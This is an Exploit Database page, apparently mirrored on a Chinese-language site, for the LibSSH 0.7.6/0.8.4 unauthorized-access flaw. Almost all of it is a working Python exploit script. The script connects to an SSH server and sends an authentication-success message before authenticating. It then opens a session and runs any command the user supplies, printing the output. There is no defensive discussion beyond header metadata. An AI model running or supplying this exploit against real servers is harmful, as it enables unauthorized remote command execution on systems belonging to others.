LibSSH 0.7.6 / 0.8.4 – Unauthorized Access

• Exploit Database
• 42 阅读

• 作者： jas502n
  日期： 2018-10-20
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/46307/

• #!/usr/bin/env python3
  import sys
  import paramiko
  import socket
  import logging
  
  # pip3 install paramiko==2.0.8
  
  #logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
  logging.basicConfig(stream=sys.stdout)
  bufsize = 2048
  
  
  
  def execute(hostname, port, command):
  sock = socket.socket()
  try:
  sock.connect((hostname, int(port)))
  
  message = paramiko.message.Message()
  transport = paramiko.transport.Transport(sock)
  transport.start_client()
  
  message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
  transport._send_message(message)
  
  client = transport.open_session(timeout=10)
  client.exec_command(command)
  
  # stdin = client.makefile("wb", bufsize)
  stdout = client.makefile("rb", bufsize)
  stderr = client.makefile_stderr("rb", bufsize)
  
  output = stdout.read()
  error = stderr.read()
  
  stdout.close()
  stderr.close()
  
  return (output+error).decode()
  except paramiko.SSHException as e:
  logging.exception(e)
  logging.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable")
  except socket.error:
  logging.debug("Unable to connect.")
  
  return None
  
  
  if __name__ == '__main__':
  print(execute(sys.argv[1], sys.argv[2], sys.argv[3]))